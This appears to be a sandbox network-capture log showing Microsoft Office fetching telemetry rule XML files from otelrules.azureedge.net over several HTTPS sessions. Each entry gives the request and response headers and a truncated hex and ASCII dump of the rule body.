2024-11-18 22:04:12 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:12 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 11343522-e01e-0085-0240-36c311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220412Z-1866b5c5fbbb286shC1DFWx97800000002wg00000000dxgz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:12 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.4	49818	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:12 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:12 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:12 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 3bd09497-f01e-0020-2364-39956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220412Z-1866b5c5fbbx98hfhC1DFWuqmg0000000570000000006yt3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:12 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.4	49819	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:13 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:13 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:13 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: eda1c5d7-201e-0033-2eb8-37b167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220413Z-1866b5c5fbbkcpv2hC1DFWf1yc00000006h0000000008mty x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:13 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.4	49820	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:13 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:13 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:13 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 152871bd-d01e-002b-2382-3725fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220413Z-16547b76f7fwggrphC1DFW2a8s000000058g00000000hc4p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:13 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.4	49821	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:13 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:13 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:13 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: dd43ea10-201e-0003-39d2-37f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220413Z-16547b76f7fzwxm2hC1DFWt5hw00000003zg00000000f3xr x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:13 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.4	49822	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:13 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:13 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:13 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 1c255c34-701e-0053-4dbc-373a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220413Z-1866b5c5fbblmqrkhC1DFWf9ns00000004dg00000000yb0u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:13 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.4	49823	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:13 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:14 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:13 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: f8daa98b-f01e-0085-209b-3888ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220413Z-1866b5c5fbb2ngs6hC1DFW402w00000004kg00000000tuuk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:14 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.4	49824	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:13 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:14 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:14 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 55235507-801e-0015-17af-36f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220414Z-1866b5c5fbbx98hfhC1DFWuqmg000000052g00000000syvz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:14 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.4	49825	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:14 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:14 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:14 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: cd078e55-e01e-0020-52a2-37de90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220414Z-164f84587bfm8kdnhC1DFWey4g00000006n0000000004bxr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:14 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.4	49826	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:14 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:14 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:14 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 0f1e6da1-801e-007b-6baf-36e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220414Z-16547b76f7fz92z5hC1DFWmdx800000004r000000000aq4w x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:14 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.4	49827	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:14 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:14 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:14 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 21ae6e2f-801e-008f-20af-362c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220414Z-1866b5c5fbb2ngs6hC1DFW402w00000004kg00000000tuwv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:14 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.4	49828	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:14 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:15 UTC	495	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:15 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: b9a2426f-e01e-003c-6b05-3ac70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220414Z-1866b5c5fbb2ngs6hC1DFW402w00000004kg00000000tux7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-18 22:04:15 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" 